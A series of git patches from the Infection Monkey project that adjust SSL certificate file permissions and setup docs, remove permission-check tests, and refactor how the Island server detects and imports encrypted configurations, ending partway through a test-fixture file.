b6d9eeb85d2..9fb13230502 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options_validator.py +++ b/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options_validator.py @@ -1,16 +1,11 @@ import os -import subprocess from collections.abc import Callable import pytest -from common.utils.exceptions import InsecurePermissionsError from monkey_island.cc.setup.island_config_options import IslandConfigOptions from monkey_island.cc.setup.island_config_options_validator import raise_on_invalid_options -LINUX_READ_ONLY_BY_USER = 0o400 -LINUX_RWX_BY_ALL = 0o777 - def certificate_test_island_config_options(crt_file, key_file): return IslandConfigOptions( @@ -24,24 +19,13 @@ def certificate_test_island_config_options(crt_file, key_file): @pytest.fixture -def linux_island_config_options(create_read_only_linux_file: Callable): - crt_file = create_read_only_linux_file("test.crt") - key_file = create_read_only_linux_file("test.key") +def linux_island_config_options(create_empty_tmp_file: Callable): + crt_file = create_empty_tmp_file("test.crt") + key_file = create_empty_tmp_file("test.key") return certificate_test_island_config_options(crt_file, key_file) -@pytest.fixture -def create_read_only_linux_file(tmpdir: str, create_empty_tmp_file: Callable) -> Callable: - def inner(file_name: str) -> str: - full_file_path = create_empty_tmp_file(file_name) - os.chmod(full_file_path, LINUX_READ_ONLY_BY_USER) - - return full_file_path - - return inner - - @pytest.mark.skipif(os.name != "posix", reason="Tests Posix (not Windows) permissions.") def test_linux_valid_crt_and_key_paths(linux_island_config_options): try: @@ -59,14 +43,6 @@ def test_linux_crt_path_does_not_exist(linux_island_config_options): raise_on_invalid_options(linux_island_config_options) -@pytest.mark.skipif(os.name != "posix", reason="Tests Posix (not Windows) permissions.") -def test_linux_crt_path_insecure_permissions(linux_island_config_options): - os.chmod(linux_island_config_options.crt_path, LINUX_RWX_BY_ALL) - - with pytest.raises(InsecurePermissionsError): - raise_on_invalid_options(linux_island_config_options) - - @pytest.mark.skipif(os.name != "posix", reason="Tests Posix (not Windows) permissions.") def test_linux_key_path_does_not_exist(linux_island_config_options): os.remove(linux_island_config_options.key_path) @@ -75,42 +51,14 @@ def test_linux_key_path_does_not_exist(linux_island_config_options): raise_on_invalid_options(linux_island_config_options) -@pytest.mark.skipif(os.name != "posix", reason="Tests Posix (not Windows) permissions.") -def test_linux_key_path_insecure_permissions(linux_island_config_options): - os.chmod(linux_island_config_options.key_path, LINUX_RWX_BY_ALL) - - with pytest.raises(InsecurePermissionsError): - raise_on_invalid_options(linux_island_config_options) - - @pytest.fixture -def windows_island_config_options(tmpdir: str, create_read_only_windows_file: Callable): - crt_file = create_read_only_windows_file("test.crt") - key_file = create_read_only_windows_file("test.key") +def windows_island_config_options(tmpdir: str, create_empty_tmp_file: Callable): + crt_file = create_empty_tmp_file("test.crt") + key_file = create_empty_tmp_file("test.key") return certificate_test_island_config_options(crt_file, key_file) -@pytest.fixture -def create_read_only_windows_file(tmpdir: str, create_empty_tmp_file: Callable) -> Callable: - def inner(file_name: str) -> str: - full_file_path = create_empty_tmp_file(file_name) - cmd_to_change_permissions = get_windows_cmd_to_change_permissions(full_file_path, "R") - subprocess.run(cmd_to_change_permissions, shell=True) # noqa DUO116 - - return full_file_path - - return inner - - -def get_windows_cmd_to_change_permissions(file_name, permissions): - """ - :param file_name: name of file - :param permissions: can be: N (None), R (Read), W (Write), C (Change (write)), F (Full control) - """ - return f"echo y| cacls {file_name} /p %USERNAME%:{permissions}" - - @pytest.mark.skipif(os.name == "posix", reason="Tests Windows (not Posix) permissions.") def test_windows_valid_crt_and_key_paths(windows_island_config_options): try: @@ -128,31 +76,9 @@ def test_windows_crt_path_does_not_exist(windows_island_config_options): raise_on_invalid_options(windows_island_config_options) -@pytest.mark.skipif(os.name == "posix", reason="Tests Windows (not Posix) permissions.") -def test_windows_crt_path_insecure_permissions(windows_island_config_options): - cmd_to_change_permissions = get_windows_cmd_to_change_permissions( - windows_island_config_options.crt_path, "W" - ) - subprocess.run(cmd_to_change_permissions, shell=True) # noqa DUO116 - - with pytest.raises(InsecurePermissionsError): - raise_on_invalid_options(windows_island_config_options) - - @pytest.mark.skipif(os.name == "posix", reason="Tests Windows (not Posix) permissions.") def test_windows_key_path_does_not_exist(windows_island_config_options): os.remove(windows_island_config_options.key_path) with pytest.raises(FileNotFoundError): raise_on_invalid_options(windows_island_config_options) - - -@pytest.mark.skipif(os.name == "posix", reason="Tests Windows (not Posix) permissions.") -def test_windows_key_path_insecure_permissions(windows_island_config_options): - cmd_to_change_permissions = get_windows_cmd_to_change_permissions( - windows_island_config_options.key_path, "W" - ) - subprocess.run(cmd_to_change_permissions, shell=True) # noqa DUO116 - - with pytest.raises(InsecurePermissionsError): - raise_on_invalid_options(windows_island_config_options) From 118dfa53d4645c2cb6331b559803431584ca70c7 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 10 Jun 2021 07:13:47 -0400 Subject: [PATCH 0753/1360] docs: Loosen ssl permissions recommendation for appimage --- docs/content/setup/linux.md | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/docs/content/setup/linux.md b/docs/content/setup/linux.md index 85e4a0f13e6..052da81d25a 100644 --- a/docs/content/setup/linux.md +++ b/docs/content/setup/linux.md @@ -41,12 +41,11 @@ private certificate authority. 1. (Optional but recommended) Move your `.crt` and `.key` files to `$HOME/.monkey_island`. -1. Make sure that your `.crt` and `.key` files are read-only and readable only - by you. +1. Make sure that your `.crt` and `.key` files are readable only by you. ```bash - chmod 400 - chmod 400 + chmod 600 + chmod 600 ``` 1. Edit `$HOME/.monkey_island/server_config.json` to configure Monkey Island From 7643102ccde50c63d51b1bbd5831be2c6f5b7917 Mon Sep 17 00:00:00 2001 From: shreyamalviya Date: Thu, 10 Jun 2021 16:55:56 +0530 Subject: [PATCH 0754/1360] Rename function to not use abbreviations --- monkey/monkey_island/cc/environment/utils.py | 4 +++- monkey/monkey_island/cc/environment/windows_permissions.py | 2 +- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/environment/utils.py b/monkey/monkey_island/cc/environment/utils.py index 866cf5d4f17..fb239221cd5 100644 --- a/monkey/monkey_island/cc/environment/utils.py +++ b/monkey/monkey_island/cc/environment/utils.py @@ -40,7 +40,9 @@ def _create_secure_directory_linux(path: str): def _create_secure_directory_windows(path: str): try: security_attributes = win32security.SECURITY_ATTRIBUTES() - security_attributes.SECURITY_DESCRIPTOR = windows_permissions.get_sd_for_owner_only_perms() + security_attributes.SECURITY_DESCRIPTOR = ( + windows_permissions.get_security_descriptor_for_owner_only_perms() + ) win32file.CreateDirectory(path, security_attributes) except Exception as ex: LOG.error( diff --git a/monkey/monkey_island/cc/environment/windows_permissions.py b/monkey/monkey_island/cc/environment/windows_permissions.py index 02640e734b3..f090083f6ee 100644 --- a/monkey/monkey_island/cc/environment/windows_permissions.py +++ b/monkey/monkey_island/cc/environment/windows_permissions.py @@ -4,7 +4,7 @@ import win32security -def get_sd_for_owner_only_perms() -> None: +def get_security_descriptor_for_owner_only_perms() -> None: user = get_user_pySID_object() security_descriptor = win32security.SECURITY_DESCRIPTOR() From 92a71451fb13d7d4c6b4fdf23eaac7ab6ac75318 Mon Sep 17 00:00:00 2001 From: shreyamalviya Date: Thu, 10 Jun 2021 17:01:57 +0530 Subject: [PATCH 0755/1360] Remove unused import in test_utils.py --- .../tests/unit_tests/monkey_island/cc/environment/test_utils.py | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/environment/test_utils.py b/monkey/tests/unit_tests/monkey_island/cc/environment/test_utils.py index 47e4ac8f6eb..aa4458c38f2 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/environment/test_utils.py +++ b/monkey/tests/unit_tests/monkey_island/cc/environment/test_utils.py @@ -1,5 +1,4 @@ import os -import stat import pytest From 5d8db4b112c7c89e1232ddd4183b74faee37249d Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 10 Jun 2021 17:03:01 +0530 Subject: [PATCH 0756/1360] Update log message in monkey/monkey_island/cc/environment/utils.py Co-authored-by: Mike Salvatore --- monkey/monkey_island/cc/environment/utils.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/environment/utils.py b/monkey/monkey_island/cc/environment/utils.py index fb239221cd5..62c8bb7d20f 100644 --- a/monkey/monkey_island/cc/environment/utils.py +++ b/monkey/monkey_island/cc/environment/utils.py @@ -46,7 +46,6 @@ def _create_secure_directory_windows(path: str): win32file.CreateDirectory(path, security_attributes) except Exception as ex: LOG.error( - f'Could not create a directory at "{path}" (maybe environmental variables could not be ' - f"resolved?): {str(ex)}" + f'Could not create a directory at "{path}": {str(ex)}" ) raise ex From 6a1a1721bdf9403f2b34573a9666104dbe88e577 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 10 Jun 2021 07:38:29 -0400 Subject: [PATCH 0757/1360] island: Loosen permissions on ssl cert in create_certificate.sh --- monkey/monkey_island/linux/create_certificate.sh | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/linux/create_certificate.sh b/monkey/monkey_island/linux/create_certificate.sh index cbbe5261b13..acdbd5b9df3 100644 --- a/monkey/monkey_island/linux/create_certificate.sh +++ b/monkey/monkey_island/linux/create_certificate.sh @@ -21,15 +21,15 @@ umask 377 echo "Generating key in $server_root/server.key..." openssl genrsa -out "$server_root"/server.key 2048 -chmod 400 "$server_root"/server.key +chmod 600 "$server_root"/server.key echo "Generating csr in $server_root/server.csr..." openssl req -new -key "$server_root"/server.key -out "$server_root"/server.csr -subj "/C=GB/ST=London/L=London/O=Global Security/OU=Monkey Department/CN=monkey.com" -chmod 400 "$server_root"/server.csr +chmod 600 "$server_root"/server.csr echo "Generating certificate in $server_root/server.crt..." openssl x509 -req -days 366 -in "$server_root"/server.csr -signkey "$server_root"/server.key -out "$server_root"/server.crt -chmod 400 "$server_root"/server.crt +chmod 600 "$server_root"/server.crt # Shove some new random data into the file to override the original seed we put in. From f04f307f7818d40868c245ddc39d74e15d0aa47c Mon Sep 17 00:00:00 2001 From: shreyamalviya Date: Thu, 10 Jun 2021 17:12:34 +0530 Subject: [PATCH 0758/1360] Add unit test for Linux directory permissions (removed accidentally previously) --- monkey/monkey_island/cc/environment/utils.py | 2 +- .../unit_tests/monkey_island/cc/environment/test_utils.py | 8 ++++++++ 2 files changed, 9 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/environment/utils.py b/monkey/monkey_island/cc/environment/utils.py index 62c8bb7d20f..8efbb449225 100644 --- a/monkey/monkey_island/cc/environment/utils.py +++ b/monkey/monkey_island/cc/environment/utils.py @@ -46,6 +46,6 @@ def _create_secure_directory_windows(path: str): win32file.CreateDirectory(path, security_attributes) except Exception as ex: LOG.error( - f'Could not create a directory at "{path}": {str(ex)}" + f'Could not create a directory at "{path}": {str(ex)}' ) raise ex diff --git a/monkey/tests/unit_tests/monkey_island/cc/environment/test_utils.py b/monkey/tests/unit_tests/monkey_island/cc/environment/test_utils.py index aa4458c38f2..4d933af76cd 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/environment/test_utils.py +++ b/monkey/tests/unit_tests/monkey_island/cc/environment/test_utils.py @@ -1,4 +1,5 @@ import os +import stat import pytest @@ -30,6 +31,13 @@ def test_create_secure_directory__no_parent_dir(test_path_nested): create_secure_directory(test_path_nested) +@pytest.mark.skipif(is_windows_os(), reason="Tests Posix (not Windows) permissions.") +def test_create_secure_directory__perm_linux(test_path): + create_secure_directory(test_path) + st = os.stat(test_path) + return bool(st.st_mode & stat.S_IRWXU) + + @pytest.mark.skipif(not is_windows_os(), reason="Tests Windows (not Posix) permissions.") def test_create_secure_directory__perm_windows(test_path): import win32api From 348118a5ed65792a81e821f1b24ef2d74f359de2 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 10 Jun 2021 10:50:59 -0400 Subject: [PATCH 0759/1360] docs: Minor corrections to docker certificate setup --- docs/content/setup/docker.md | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/docs/content/setup/docker.md b/docs/content/setup/docker.md index 478cb66607f..f9335dc4429 100644 --- a/docs/content/setup/docker.md +++ b/docs/content/setup/docker.md @@ -82,13 +82,13 @@ been signed by a private certificate authority. guardicore/monkey-island:1.10.0 --setup-only ``` -1. (Optional but recommended) Move your `.crt` and `.key` files to `./monkey_island_data`. +1. Move your `.crt` and `.key` files to `./monkey_island_data`. -1. Make sure that your `.crt` and `.key` files are read-only and readable only by you. +1. Make sure that your `.crt` and `.key` files are readable only by you. ```bash - chmod 400 - chmod 400 + chmod 600 ./monkey_island_data/ + chmod 600 ./monkey_island_data/ ``` 1. Edit `./monkey_island_data/server_config.json` to configure Monkey Island @@ -106,8 +106,8 @@ been signed by a private certificate authority. "start_mongodb": false }, "ssl_certificate": { - "ssl_certificate_file": "", - "ssl_certificate_key_file": "", + "ssl_certificate_file": "/monkey_island_data/", + "ssl_certificate_key_file": "/monkey_island_data/" } } ``` From 9b7c9130079d2b310f0b907d5245e6d4c15abee9 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 10 Jun 2021 11:08:18 -0400 Subject: [PATCH 0760/1360] docs: Remove errant comma in linux setup --- docs/content/setup/linux.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/content/setup/linux.md b/docs/content/setup/linux.md index 052da81d25a..2340907ba32 100644 --- a/docs/content/setup/linux.md +++ b/docs/content/setup/linux.md @@ -64,7 +64,7 @@ private certificate authority. }, "ssl_certificate": { "ssl_certificate_file": "", - "ssl_certificate_key_file": "", + "ssl_certificate_key_file": "" } } ``` From 7b14b917cdc707f4b1414fd5f26a71f8df6e72a2 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 10 Jun 2021 11:33:05 -0400 Subject: [PATCH 0761/1360] docs: Tell the user to set secure permissions on /monkey_island_data --- docs/content/setup/docker.md | 1 + 1 file changed, 1 insertion(+) diff --git a/docs/content/setup/docker.md b/docs/content/setup/docker.md index f9335dc4429..06bab3e72aa 100644 --- a/docs/content/setup/docker.md +++ b/docs/content/setup/docker.md @@ -68,6 +68,7 @@ been signed by a private certificate authority. ```bash mkdir ./monkey_island_data + chmod 700 ./monkey_island_data ``` 1. Run Monkey Island with the `--setup-only` flag to populate the `./monkey_island_data` directory with a default `server_config.json` file. From ca5450b932b2c4909d5fa03917274c17788b895c Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 10 Jun 2021 11:34:08 -0400 Subject: [PATCH 0762/1360] island: Add quotes around --user argument in docker setup --- docs/content/setup/docker.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/docs/content/setup/docker.md b/docs/content/setup/docker.md index 06bab3e72aa..18491504f77 100644 --- a/docs/content/setup/docker.md +++ b/docs/content/setup/docker.md @@ -78,7 +78,7 @@ been signed by a private certificate authority. --rm \ --name monkey-island \ --network=host \ - --user $(id -u ${USER}):$(id -g ${USER}) \ + --user "$(id -u ${USER}):$(id -g ${USER})" \ --volume "$(realpath ./monkey_island_data)":/monkey_island_data \ guardicore/monkey-island:1.10.0 --setup-only ``` @@ -119,7 +119,7 @@ been signed by a private certificate authority. sudo docker run \ --name monkey-island \ --network=host \ - --user $(id -u ${USER}):$(id -g ${USER}) \ + --user "$(id -u ${USER}):$(id -g ${USER})" \ --volume "$(realpath ./monkey_island_data)":/monkey_island_data \ guardicore/monkey-island:1.10.0 ``` From 331d2aeb7e9c87cded32a57013923a7aaf1af95b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 10 Jun 2021 13:08:02 -0400 Subject: [PATCH 0763/1360] docs: Add "writable" for more accurate description Co-authored-by: Shreya Malviya --- docs/content/setup/docker.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/content/setup/docker.md b/docs/content/setup/docker.md index 18491504f77..fec2701d41e 100644 --- a/docs/content/setup/docker.md +++ b/docs/content/setup/docker.md @@ -85,7 +85,7 @@ been signed by a private certificate authority. 1. Move your `.crt` and `.key` files to `./monkey_island_data`. -1. Make sure that your `.crt` and `.key` files are readable only by you. +1. Make sure that your `.crt` and `.key` files are readable and writeable only by you. ```bash chmod 600 ./monkey_island_data/ From d287573806ff5924ffcbb0219cc25e7a1e0c2302 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 10 Jun 2021 12:59:32 -0400 Subject: [PATCH 0764/1360] docs: Add instructions for user-provided certs to windows setup --- docs/content/setup/windows.md | 33 +++++++++++++++++++++++++++++++++ 1 file changed, 33 insertions(+) diff --git a/docs/content/setup/windows.md b/docs/content/setup/windows.md index ef516bc24dc..17423e4a595 100644 --- a/docs/content/setup/windows.md +++ b/docs/content/setup/windows.md @@ -16,6 +16,39 @@ After running the installer, the following prompt should appear on the screen: 1. Follow the steps to complete the installation. 1. Run the Monkey Island by clicking on the desktop shortcut. +### Start Monkey Island with user-provided certificcate + +By default, Infection Monkey comes with a [self-signed SSL certificate](https://aboutssl.org/what-is-self-sign-certificate/). In +enterprise or other security-sensitive environments, it is recommended that the +user provide Infection Monkey with a certificate that has been signed by a +private certificate authority. + +1. If you haven't already, run the Monkey Island by clicking on the desktop + shortcut. This will populate MongoDB, as well as create and populate + `%AppData%\monkey_island`. +1. Stop the Monkey Island process. +1. (Optional but recommended) Move your `.crt` and `.key` files to `%AppData%\monkey_island`. +1. Edit `%AppData%\monkey_island\server_config.json` to configure Monkey Island + to use your certificate. Your config should look something like this: + + ```json {linenos=inline,hl_lines=["11-14"]} + { + "log_level": "DEBUG", + "environment": { + "server_config": "password", + "deployment": "windows" + }, + "mongodb": { + "start_mongodb": true + }, + "ssl_certificate": { + "ssl_certificate_file": "", + "ssl_certificate_key_file": "" + } + } + ``` +1. Run the Monkey Island by clicking on the desktop shortcut. + ## Troubleshooting ### Support From a36fc81755d47f506fb82fbf24021d538e3d0fe5 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 11 Jun 2021 11:37:35 +0300 Subject: [PATCH 0765/1360] Refactored configuration import and added a check to decide if configuration is encrypted or not. This solved a bug where invalid json was treated as credential error. --- monkey/common/utils/exceptions.py | 8 ---- .../cc/resources/configuration_import.py | 46 +++++++++++-------- .../cc/services/utils/config_encryption.py | 16 +++++-- .../ImportConfigModal.tsx | 20 ++++---- 4 files changed, 51 insertions(+), 39 deletions(-) diff --git a/monkey/common/utils/exceptions.py b/monkey/common/utils/exceptions.py index b13b94e3b42..df40f30070d 100644 --- a/monkey/common/utils/exceptions.py +++ b/monkey/common/utils/exceptions.py @@ -54,13 +54,5 @@ class DomainControllerNameFetchError(FailedExploitationError): """ Raise on failed attempt to extract domain controller's name """ -class InvalidCredentialsError(Exception): - """ Raise when credentials supplied are invalid """ - - -class NoCredentialsError(Exception): - """ Raise when no credentials have been supplied """ - - class InvalidConfigurationError(Exception): """ Raise when configuration is invalid """ diff --git a/monkey/monkey_island/cc/resources/configuration_import.py b/monkey/monkey_island/cc/resources/configuration_import.py index d9d39a3f80e..50a4cf955a5 100644 --- a/monkey/monkey_island/cc/resources/configuration_import.py +++ b/monkey/monkey_island/cc/resources/configuration_import.py @@ -6,14 +6,14 @@ import flask_restful from flask import request -from common.utils.exceptions import ( - InvalidConfigurationError, - InvalidCredentialsError, - NoCredentialsError, -) +from common.utils.exceptions import InvalidConfigurationError from monkey_island.cc.resources.auth.auth import jwt_required from monkey_island.cc.services.config import ConfigService -from monkey_island.cc.services.utils.config_encryption import decrypt_config +from monkey_island.cc.services.utils.config_encryption import ( + InvalidCredentialsError, + decrypt_config, + is_encrypted, +) logger = logging.getLogger(__name__) @@ -21,8 +21,7 @@ class ImportStatuses: UNSAFE_OPTION_VERIFICATION_REQUIRED = "unsafe_options_verification_required" INVALID_CONFIGURATION = "invalid_configuration" - PASSWORD_REQUIRED = "password_required" - WRONG_PASSWORD = "wrong_password" + INVALID_CREDENTIALS = "invalid_credentials" IMPORTED = "imported" @@ -57,7 +56,8 @@ def post(self): ).form_response() except InvalidCredentialsError: return ResponseContents( - import_status=ImportStatuses.WRONG_PASSWORD, message="Wrong password supplied" + import_status=ImportStatuses.INVALID_CREDENTIALS, + message="Invalid credentials provided", ).form_response() except InvalidConfigurationError: return ResponseContents( @@ -65,20 +65,30 @@ def post(self): message="Invalid configuration supplied. " "Maybe the format is outdated or the file has been corrupted.", ).form_response() - except NoCredentialsError: - return ResponseContents( - import_status=ImportStatuses.PASSWORD_REQUIRED, - ).form_response() @staticmethod def _get_plaintext_config_from_request(request_contents: dict) -> dict: - try: - config = json.loads(request_contents["config"]) - except JSONDecodeError: - config = decrypt_config(request_contents["config"], request_contents["password"]) - return config + if ConfigurationImport.is_config_encrypted(request_contents["config"]): + return decrypt_config(request_contents["config"], request_contents["password"]) + else: + try: + return json.loads(request_contents["config"]) + except JSONDecodeError: + raise InvalidConfigurationError @staticmethod def import_config(config_json): if not ConfigService.update_config(config_json, should_encrypt=True): raise InvalidConfigurationError + + @staticmethod + def is_config_encrypted(config: str): + try: + if config.startswith("{"): + return False + elif is_encrypted(config): + return True + else: + raise InvalidConfigurationError + except Exception: + raise InvalidConfigurationError diff --git a/monkey/monkey_island/cc/services/utils/config_encryption.py b/monkey/monkey_island/cc/services/utils/config_encryption.py index 49f5cc18789..73c3ea8930b 100644 --- a/monkey/monkey_island/cc/services/utils/config_encryption.py +++ b/monkey/monkey_island/cc/services/utils/config_encryption.py @@ -6,7 +6,7 @@ import pyAesCrypt -from common.utils.exceptions import InvalidCredentialsError, NoCredentialsError +from common.utils.exceptions import InvalidConfigurationError BUFFER_SIZE = pyAesCrypt.crypto.bufferSizeDef @@ -28,9 +28,6 @@ def encrypt_config(config: Dict, password: str) -> str: def decrypt_config(cyphertext: str, password: str) -> Dict: - if not password: - raise NoCredentialsError - cyphertext = base64.b64decode(cyphertext) ciphertext_config_stream = io.BytesIO(cyphertext) dec_plaintext_config_stream = io.BytesIO() @@ -51,6 +48,15 @@ def decrypt_config(cyphertext: str, password: str) -> Dict: raise InvalidCredentialsError else: logger.info("The provided configuration file is corrupt.") - raise ex + raise InvalidConfigurationError plaintext_config = json.loads(dec_plaintext_config_stream.getvalue().decode("utf-8")) return plaintext_config + + +def is_encrypted(ciphertext: str) -> bool: + ciphertext = base64.b64decode(ciphertext) + return ciphertext.startswith(b"AES") + + +class InvalidCredentialsError(Exception): + """ Raise when credentials supplied are invalid """ diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/ImportConfigModal.tsx b/monkey/monkey_island/cc/ui/src/components/configuration-components/ImportConfigModal.tsx index c1e12ae8621..155b33bf2d1 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/ImportConfigModal.tsx +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/ImportConfigModal.tsx @@ -40,8 +40,8 @@ const ConfigImportModal = (props: Props) => { }, [configContents]) - function sendConfigToServer(): Promise { - return authComponent.authFetch(configImportEndpoint, + function sendConfigToServer() { + authComponent.authFetch(configImportEndpoint, { method: 'POST', headers: {'Content-Type': 'application/json'}, @@ -53,27 +53,30 @@ const ConfigImportModal = (props: Props) => { } ).then(res => res.json()) .then(res => { - if (res['import_status'] === 'password_required') { + if (res['import_status'] === 'invalid_credentials') { setUploadStatus(UploadStatuses.success); - setShowPassword(true); - } else if (res['import_status'] === 'wrong_password') { - setErrorMessage(res['message']); + if (showPassword){ + setErrorMessage(res['message']); + } else { + setShowPassword(true); + setErrorMessage(''); + } } else if (res['import_status'] === 'invalid_configuration') { setUploadStatus(UploadStatuses.error); setErrorMessage(res['message']); } else if (res['import_status'] === 'unsafe_options_verification_required') { + setUploadStatus(UploadStatuses.success); + setErrorMessage(''); if (isUnsafeOptionSelected(res['config_schema'], JSON.parse(res['config']))) { setShowUnsafeOptionsConfirmation(true); setCandidateConfig(res['config']); } else { setUnsafeOptionsVerified(true); - setConfigContents(res['config']); } } else if (res['import_status'] === 'imported'){ resetState(); props.onClose(true); } - return res['import_status']; }) } @@ -93,6 +96,7 @@ const ConfigImportModal = (props: Props) => { } function uploadFile(event) { + setShowPassword(false); let reader = new FileReader(); reader.onload = (event) => { setConfigContents(event.target.result); From 5cf002d81ada7be9f15368cc2ba440f879a668b8 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 11 Jun 2021 11:39:37 +0300 Subject: [PATCH 0766/1360] Refactored unit tests and added a unit test for a function which checks whether or not config is encrypted. --- .../unit_tests/monkey_island/cc/conftest.py | 17 ++ .../cc/resources/test_configuration_import.py | 31 ++ .../utils/cyphertexts_for_encryption_test.py | 276 +++++------------- .../services/utils/test_config_encryption.py | 41 +-- 4 files changed, 133 insertions(+), 232 deletions(-) create mode 100644 monkey/tests/unit_tests/monkey_island/cc/resources/test_configuration_import.py diff --git a/monkey/tests/unit_tests/monkey_island/cc/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/conftest.py index 4a40765a5b9..370e0cc4dc2 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/cc/conftest.py @@ -1,3 +1,20 @@ # Without these imports pytests can't use fixtures, # because they are not found +import json +import os + +import pytest from tests.unit_tests.monkey_island.cc.mongomock_fixtures import * # noqa: F401,F403,E402 +from tests.unit_tests.monkey_island.cc.services.utils.test_config_encryption import ( + MONKEY_CONFIGS_DIR_PATH, + STANDARD_PLAINTEXT_MONKEY_CONFIG_FILENAME, +) + + +@pytest.fixture +def monkey_config(data_for_tests_dir): + plaintext_monkey_config_standard_path = os.path.join( + data_for_tests_dir, MONKEY_CONFIGS_DIR_PATH, STANDARD_PLAINTEXT_MONKEY_CONFIG_FILENAME + ) + plaintext_config = json.loads(open(plaintext_monkey_config_standard_path, "r").read()) + return plaintext_config diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/test_configuration_import.py b/monkey/tests/unit_tests/monkey_island/cc/resources/test_configuration_import.py new file mode 100644 index 00000000000..1a41b0a519f --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/test_configuration_import.py @@ -0,0 +1,31 @@ +import json + +import pytest +from tests.unit_tests.monkey_island.cc.services.utils.cyphertexts_for_encryption_test import ( + MALFORMED_CYPHER_TEXT_CORRUPTED, +) +from tests.unit_tests.monkey_island.cc.services.utils.test_config_encryption import PASSWORD + +from common.utils.exceptions import InvalidConfigurationError +from monkey_island.cc.resources.configuration_import import ConfigurationImport +from monkey_island.cc.services.utils.config_encryption import encrypt_config + + +def test_is_config_encrypted__json(monkey_config): + monkey_config = json.dumps(monkey_config) + assert not ConfigurationImport.is_config_encrypted(monkey_config) + + +def test_is_config_encrypted__ciphertext(monkey_config): + encrypted_config = encrypt_config(monkey_config, PASSWORD) + assert ConfigurationImport.is_config_encrypted(encrypted_config) + + +def test_is_config_encrypted__corrupt_ciphertext(): + with pytest.raises(InvalidConfigurationError): + assert ConfigurationImport.is_config_encrypted(MALFORMED_CYPHER_TEXT_CORRUPTED) + + +def test_is_config_encrypted__unknown_format(): + with pytest.raises(InvalidConfigurationError): + assert ConfigurationImport.is_config_encrypted("ABC") diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/utils/cyphertexts_for_encryption_test.py b/monkey/tests/unit_tests/monkey_island/cc/services/utils/cyphertexts_for_encryption_test.py index 532d152bb8e..e4aa11b0624 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/utils/cyphertexts_for_encryption_test.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/utils/cyphertexts_for_encryption_test.py @@ -1,206 +1,74 @@ -MALFORMED_CYPHER_TEXT_TOO_SHORT = ( - b"AES\x02\x00\x00\x1bCREATED_BY\x00pyAesCrypt " - b"6.0.0\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" -) - MALFORMED_CYPHER_TEXT_CORRUPTED = ( - b"AES\x02\x00\x00\x1bCREATED_BY\x00pyAesCrypt " - b"6.0.0\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - b"\x00\x00\x00\x00\x00\xc2\xc3w0\xe5\x06\xd2\xb9\x05b\xce\xb2\xc7" - b"\x18f\x87j|y\xcd\xbd\\(" - b"V\xfa!%\xcc@\x11\x98>\x9c^\x11\xa1\x82\xe9@\x89\xde\xe9\xb2)h\xb2" - b"`\x07y\x01\xa8zr\xd0\xe2\xb9m\xb1&\xb5f\x95\x80\x98\xac\xa6\x04.8" - b"\xf0\xbf\xee\x18!\xf5T\x04a\xb5\xb2Q\xb0|\xff\xe7\xdd)F\xd5E\xa6" - b"\xbf\xf6\xb0D\x02\x92\xb9Z\x01 " - b"F\x9f.9\x92zc\x9bI\xaf\rB6\xcb\r\x1b\xbf\xb8m\xbdBBt5\x9d\xc9\xeb" - b"\x9b\xe0u\xe8'H5\x96\x11\xbf>\xa7\xaa\xb4\x06\x1e\xb7\x99\xf1\x86" - 